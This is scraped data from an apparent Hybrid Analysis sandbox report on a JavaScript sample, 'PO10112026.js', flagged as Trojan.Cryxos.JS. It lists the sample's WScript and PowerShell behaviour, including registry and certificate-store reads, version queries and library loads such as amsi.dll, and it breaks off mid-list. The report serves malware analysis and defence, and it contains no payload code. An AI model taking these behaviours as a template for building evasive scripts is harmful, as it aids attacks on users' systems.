26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 49:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T48c,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Cryxos.JS Sample 179d4d97c9f1… — Score 74/100 — Hybrid Analysis","description":"Malicious verdict for sample 179d4d97c9f1…. Malware family: Trojan.Cryxos.JS. Threat score 74/100. 4/26 AV engines flagged this file. 1 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/179d4d97c9f166dad82c03cbcc8c746bc9d97adc7ec2177e656d9335140cc097","keywords":["Malicious","Trojan.Cryxos.JS","malware analysis","sandbox report","threat intelligence","179d4d97c9f166dad82c03cbcc8c746bc9d97adc7ec2177e656d9335140cc097"],"about":{"@type":"SoftwareApplication","name":"PO10112026.js","applicationCategory":["script","javascript"],"identifier":"179d4d97c9f166dad82c03cbcc8c746bc9d97adc7ec2177e656d9335140cc097","additionalType":"Malicious sample"},"threatScore":74,"malwareFamily":"Trojan.Cryxos.JS","antivirusDetections":{"malicious":4,"total":26},"behavioralIndicators":{"malicious":1,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T511,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00008068.00000000.110665.04EE0000.00000004.mdmp")28:T89d,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\WIN64") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\WIN64") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\WIN64") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.0") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.0") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\409") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\409") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\9") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\9") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0\WIN64") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{00020430-0000-0000-C000-000000000046}\2.0\0\WIN64")29:T4d2,"powershell.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-718176582 [PID: 8068] "powershell.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-718185906 [PID: 8068] "powershell.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-718413729 [PID: 8068] "powershell.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-718422892 [PID: 8068] "powershell.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-719410640 [PID: 8068] "powershell.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-719419623 [PID: 8068] "powershell.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-720176792 [PID: 8068] "powershell.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-720186244 [PID: 8068] "powershell.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-720554311 [PID: 8068] "powershell.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-720562087 [PID: 8068] "powershell.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-720639481 [PID: 8068] "powershell.exe" queried SystemProcessInformation at 00000000-00008068-00000C15-720648604 [PID: 8068]2a:T1413,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-49-00FCEE60 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-92-00FCE950 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-92-00FCE950 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-126-00FCD490 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-126-00FCD490 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-129-00FC985C Assembly shows XOR instruction xor esi dword ptr [00FD0394h] in Stream UID: 00000000-00008068-27088-129-00FC985C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-129-00FC985C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-133-00FC995D Assembly shows XOR instruction xor esi dword ptr [00FD0390h] in Stream UID: 00000000-00008068-27088-133-00FC995D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-133-00FC995D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-135-00FCDAD1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-135-00FCDAD1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-137-00FCDA34 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-137-00FCDA34 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-141-00FCD610 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-141-00FCD610 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-149-00FCD560 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-149-00FCD560 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-151-00FCD501 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-151-00FCD501 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-158-00FCA510 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-161-00FCA4E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-162-00FCA4B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-182-00FC8190 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-182-00FC8190 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00008068-27088-194-00FCC4B6 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00008068-27088-194-00FCC4B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-195-00FC8AF0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-195-00FC8AF0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-198-00FC8E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-198-00FC8E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-199-00FC7C30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-199-00FC7C30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-202-00FC85B0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-202-00FC85B0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-203-00FC89F0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-203-00FC89F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-204-00FC9030 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-204-00FC9030 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-211-00FCD341 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-211-00FCD341 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-214-00FCC439 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-214-00FCC439 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008068-27088-215-00FC92C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008068-27088-215-00FC92C0 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00008068-27088-217-00FC9F43 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00008068-27088-217-00FC9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00008068-27088-217-00FC9F43 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00008068-27088-217-00FC9F43 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00008068-27088-217-00FC9F43 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00008068-27088-217-00FC9F432b:T1148,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001852) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001852) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acb81a12020000000000000000000051edf020ff7f00000000000012020000000000000000000033d28f14d2c900002a00000000000000c056f017120200008fecf020ff7f0000e0acb81a12020000e0acb81a12020000000000000000000000000000ff7f0000ffffff7fce3d000000000000000000000000000000000000d8ceac1a120200002a0000000000000069c3651a120200003100000000000000e802000000000000ec020000000000001100011000000000c0cbdfbef000000003a3671fff7f0000c0cbdfbef000000000000000000000002b00000000000000000000000000000020b06b1a12020000b43f6a1a12020000e0ceac1a (UID: 00000000-00001852) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000fcbaee20ff7f0000c00000000000000003000000000000000000000000000000682e9e1b120200000000000000000000f9d6ec20ff7f00000000ed1712020000fcbaee20ff7f0000c00000000000000001000000fe7f000000000000120200000070ef17120200001400000000000000f9d6ec20ff7f00000000ed17120200000000000000000000000000000000000001000000300030000000ed17120200007680bb20ff7f00008214f8838a1100008b0200600806d9b60000000000000000000000000000000000000000000000007680bb20ff7f000000000000000000004090dfbef0000000b0a3dfbef00000004090dfbef000000000000000 (UID: 00000000-00001852) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008068) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00008068) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000028e01807ccdf1807226eef740000e100000000002d6eef74cee370652d000000ecb7037550e0180700007e0008203d0798c8b6001d0000008000000090df180700007e0014e0180770c8f074fa4d9d16feffffff2d000000d0cc127527000000e4df1807856af1741c23f67424e01807f85ff17408000000bb69f074b269f07426dc70652d000000ecb7037527000000d0cc1275f8df18072d000000d0cc12752700000028e01807856af1741c23f67470e018077e8a1175ee8c1175738a117599fd35e92d000000ecb7037527000000d0cc1275947ce100287ce10099fd35e938e01807fc524f7524e11807e0841175d1ec609bfeffffff738a1175 (UID: 00000000-00008068)2c:Ta42,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000002071f67f0000000000000000000018000000000000000000000000000000000000000000000063ef8f14d2c90000766ef05b8c10000000002071f67f000011c63e0cff7f000006000000f00000000000000000000000011fed17120200001f000000000000000000100006000000000000000000000000002071 (UID: 00000000-00001852) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000000c0000000200000001010000200000004fbc3b79549800000000000000000000bcf0dfbef000000000000000000000004ef7791dff7f0000bcf0dfbef00000000000000000000000000000000000000099dd831eff7f0000000000000000000060eadfbef000000070eadfbef000000001000000f000000000000000 (UID: 00000000-00001852) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000004e7b7a1dff7f0000000052fdfe7f000000000000000000000000000000000000080653fdfe7f00000001000000000000f098661fff7f0000000100000000000000010000000000000000000000000000000653fdfe7f000001000000000000000f1852fdfe7f00000000000000000000000653fdfe7f000000000000 (UID: 00000000-00001852) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f00009c310cfdfe7f0000708b0efdfe7f00000200000000000000708b0efdfe7f000000000000000000000300000000000000b1310cfdfe7f0000a8150ffdfe7f00009033a41b12020000a033a41b12020000888b0efdfe7f00000100000000000000239f681fff7f00000000000000000000888b0efdfe7f000006000000 (UID: 00000000-00001852) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000303d9af4fe7f0000c0fe9bf4fe7f00000400000000000000c0fe9bf4fe7f000000000000000000000500000000000000453d9af4fe7f0000286a9cf4fe7f0000be5a7b1dff7f0000f867a01b1202000058069cf4fe7f0000b08e7b1dff7f0000239f681fff7f00000100000000000000d1329af4fe7f0000e0fe9bf4 (UID: 00000000-00001852) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000be5a7b1dff7f0000000041fafe7f000000000000000000000000000000000000883f42fafe7f00000001000000000000f098661fff7f0000000100000000000000010000000000000000000000000000803f42fafe7f00000100000000000000bf1041fafe7f00000000000000000000803f42fafe7f000000000000 (UID: 00000000-00001852) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000000005c000000000063000000000000000100000074001400000050eeb400000000000100000001000000000000002c000000b02fb50000000000140000000a000000000000000000000000006f00e05ab30014000000000000000000000000000000000000000000000000006e0000000000670000006c006c00 (UID: 00000000-00008068)2d:T5ec,"powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00008068-00000C17-719233829 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00008068-00000C17-719565211 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00008068-00000C17-721384730 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00008068-00000C17-721450138 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00008068-00000C17-721514262 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00008068-00000C17-721548204 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00008068-00000C17-7216303112e:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB")2f:T21d6,"WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001852) "WScript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001852) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001852) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001852) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001852) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001852) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001852) "WScript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00001852) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001852) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001852) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Mf49f6405#\e7f9e4af50c666b5fec85987c303915a\Microsoft.Management.Infrastr (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter 